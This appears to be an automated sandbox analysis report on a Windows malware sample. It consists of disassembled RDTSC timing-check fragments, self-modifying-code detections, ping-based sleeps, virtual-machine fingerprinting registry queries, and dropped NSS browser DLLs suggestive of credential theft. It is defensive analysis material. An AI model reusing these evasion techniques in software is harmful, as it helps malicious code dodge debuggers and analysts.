Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 547E12 second address: 547E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD24CC634Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e adc edi, 2A94F42Eh 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 jmp 00007FDD24CC634Ah 0x0000001c pop esi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007FDD24CC6348h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 add esi, dword ptr [ebp+122D279Ch] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FDD24CC6358h 0x00000047 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 547E81 second address: 547E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5487C0 second address: 5487C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5487C4 second address: 5487CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AF4E second address: 54AF53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AF53 second address: 54AF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnp 00007FDD2537F160h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AF66 second address: 54AFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jmp 00007FDD24CC634Fh 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FDD24CC6348h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b pushad 0x0000002c jo 00007FDD24CC6346h 0x00000032 jo 00007FDD24CC6346h 0x00000038 popad 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AFB1 second address: 54AFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AFB7 second address: 54AFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDD24CC6358h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54AFD9 second address: 54AFF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FDD2537F15Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54BB39 second address: 54BB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6358h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jne 00007FDD24CC634Ch 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54BB68 second address: 54BB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54BB6E second address: 54BBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D28A5h], ecx 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+12453012h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FDD24CC6348h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 cld 0x00000032 xchg eax, ebx 0x00000033 push edx 0x00000034 push eax 0x00000035 pushad 0x00000036 popad 0x00000037 pop eax 0x00000038 pop edx 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jng 00007FDD24CC6346h 0x00000044 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54BBB5 second address: 54BBB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54BBB9 second address: 54BBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54C649 second address: 54C64E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54DB4A second address: 54DB99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D1F10h] 0x00000013 push 00000000h 0x00000015 add edi, 136AF3E9h 0x0000001b push 00000000h 0x0000001d mov edi, 02FED9A0h 0x00000022 xchg eax, ebx 0x00000023 push edx 0x00000024 push edx 0x00000025 jmp 00007FDD24CC6353h 0x0000002a pop edx 0x0000002b pop edx 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54DB99 second address: 54DBAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDD2537F15Ah 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54E51A second address: 54E56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 xor si, 80D4h 0x0000000b push 00000000h 0x0000000d mov esi, dword ptr [ebp+122D2F7Dh] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FDD24CC6348h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f xchg eax, ebx 0x00000030 jmp 00007FDD24CC634Dh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jp 00007FDD24CC6348h 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54E56D second address: 54E572 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 552281 second address: 552285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 552285 second address: 5522F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD2537F164h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, edx 0x00000011 or ebx, dword ptr [ebp+122D2CCCh] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a xor di, EB31h 0x0000001f pop ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007FDD2537F158h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c sub dword ptr [ebp+122D39F2h], ecx 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FDD2537F160h 0x0000004c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5522F6 second address: 552300 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 552300 second address: 552306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 552306 second address: 552319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FDD24CC634Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 552319 second address: 55231D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55231D second address: 552327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDD24CC6346h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 558162 second address: 558166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55BFFD second address: 55C00A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55C00A second address: 55C00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5543BC second address: 5543E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6352h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDD24CC634Fh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5543E6 second address: 5543F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD2537F15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 555414 second address: 55541F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDD24CC6346h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55541F second address: 555425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55626E second address: 556283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FDD24CC6346h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 556283 second address: 55628D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55628D second address: 556292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 557243 second address: 557262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDD2537F168h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55C227 second address: 55C22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55F39B second address: 55F39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55F467 second address: 55F48B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FDD24CC6357h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55F48B second address: 55F491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55930C second address: 55937A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6350h 0x00000009 popad 0x0000000a pop ebx 0x0000000b nop 0x0000000c jmp 00007FDD24CC6352h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FDD24CC6348h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov edi, dword ptr [ebp+122D330Ah] 0x0000003f mov eax, dword ptr [ebp+122D0939h] 0x00000045 mov dword ptr [ebp+124536B9h], edx 0x0000004b push FFFFFFFFh 0x0000004d cmc 0x0000004e nop 0x0000004f pushad 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 55937A second address: 5593AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FDD2537F15Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDD2537F166h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5593AB second address: 5593B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 566DD2 second address: 566DE6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007FDD2537F156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FDD2537F15Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5670B0 second address: 5670B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 4FFB3D second address: 4FFB5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDD2537F15Fh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 4FFB5B second address: 4FFB5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 4FFB5F second address: 4FFB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D1CA second address: 56D1E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6355h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D1E6 second address: 56D1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D1F6 second address: 56D200 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D200 second address: 56D205 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D205 second address: 56D212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D2D6 second address: 56D2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D2DA second address: 56D34A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDD24CC634Fh 0x0000000e popad 0x0000000f push eax 0x00000010 jno 00007FDD24CC634Eh 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007FDD24CC6359h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jbe 00007FDD24CC635Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FDD24CC634Eh 0x0000002e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D3E2 second address: 56D3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 56D4B8 second address: 39EB57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 23E5D8C1h 0x0000000f je 00007FDD24CC6357h 0x00000015 jmp 00007FDD24CC6351h 0x0000001a push dword ptr [ebp+122D11C5h] 0x00000020 clc 0x00000021 call dword ptr [ebp+122D1EF9h] 0x00000027 pushad 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D330Ah], eax 0x0000002f xor eax, 3DEDED57h 0x00000035 popad 0x00000036 xor eax, eax 0x00000038 mov dword ptr [ebp+122D1EA6h], esi 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 jmp 00007FDD24CC634Ch 0x00000047 mov dword ptr [ebp+122D2CF8h], eax 0x0000004d clc 0x0000004e mov esi, 0000003Ch 0x00000053 jmp 00007FDD24CC634Dh 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c mov dword ptr [ebp+122D1EDDh], ecx 0x00000062 mov dword ptr [ebp+122D2B73h], edx 0x00000068 lodsw 0x0000006a pushad 0x0000006b jl 00007FDD24CC634Ch 0x00000071 or dword ptr [ebp+122D1EA6h], ebx 0x00000077 mov esi, dword ptr [ebp+122D2DB0h] 0x0000007d popad 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 mov dword ptr [ebp+122D2B92h], eax 0x00000088 mov ebx, dword ptr [esp+24h] 0x0000008c cmc 0x0000008d nop 0x0000008e pushad 0x0000008f jnp 00007FDD24CC6348h 0x00000095 push eax 0x00000096 push edx 0x00000097 push edx 0x00000098 pop edx 0x00000099 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 574019 second address: 57403E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD2537F15Ch 0x00000008 jbe 00007FDD2537F156h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FDD2537F163h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 57403E second address: 574048 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD24CC6346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 57334A second address: 573350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5734BA second address: 5734C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 573638 second address: 573641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 573641 second address: 573645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FEFC72 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 120E66C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Special instruction interceptor: First address: 39EADC instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Special instruction interceptor: First address: 39EBDE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Special instruction interceptor: First address: 5615C0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Special instruction interceptor: First address: 5C27BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3FEADC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3FEBDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5C15C0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6227BE instructions caused by: Self-modifying code

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe

Code function: 29_2_04A60CA8 rdtsc

29_2_04A60CA8

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

